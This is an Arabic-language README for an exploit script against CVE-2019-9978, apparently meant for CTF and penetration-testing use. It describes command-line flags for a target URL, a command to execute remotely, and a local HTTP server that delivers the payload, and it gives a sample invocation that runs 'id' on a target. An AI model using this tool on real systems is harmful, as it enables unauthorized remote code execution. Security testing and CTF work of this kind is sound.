cve-2019-9978

هذا سكريبت يسمح باستغلال ثغرة CVE-2019-9978 بطريقة مباشرة، وهو مخصص للاستخدام في تحديات Capture The Flag (CTF) أو كدليل إثبات لاختبار الاختراق.

المتطلبات الأساسية

• Python 3
• مكتبة Requests (قم بتثبيتها باستخدام pip install requests)

الاستخدام

1. استنسخ أو قم بتنزيل هذا المستودع.
2. افتح الطرفية وانتقل إلى دليل السكريبت.
3. قم بتشغيل السكريبت باستخدام الخيارات التالية:

   ./cve-2019-9978.py -u http://target.com:9999 -c "your_system_command" -l your_ip:your_port
   - `-u` أو `--url`: تعيين عنوان URL الهدف لتسليم الحمولة.
   - `-c` أو `--command`: تعيين الأمر النظامي الذي سيتم تنفيذه على النظام الهدف.
   - `-l` أو `--local`: تعيين عنوان IP والمنفذ لخادم HTTP (اختياري).

4. يبدأ السكريبت خادم HTTP، ويرسل الحمولة إلى الهدف، ويعرض النتيجة في الطرفية.

مثال

./cve-2019-9978.py -u http://target.com:9999 -c "id" -l 10.10.13.15:12345

إخلاء مسؤولية

هذا الكود مخصص للأغراض التعليمية والاختبار فقط. الاستخدام غير المصرح به على الأنظمة دون إذن مناسب غير قانوني وغير أخلاقي. استخدمه بمسؤولية.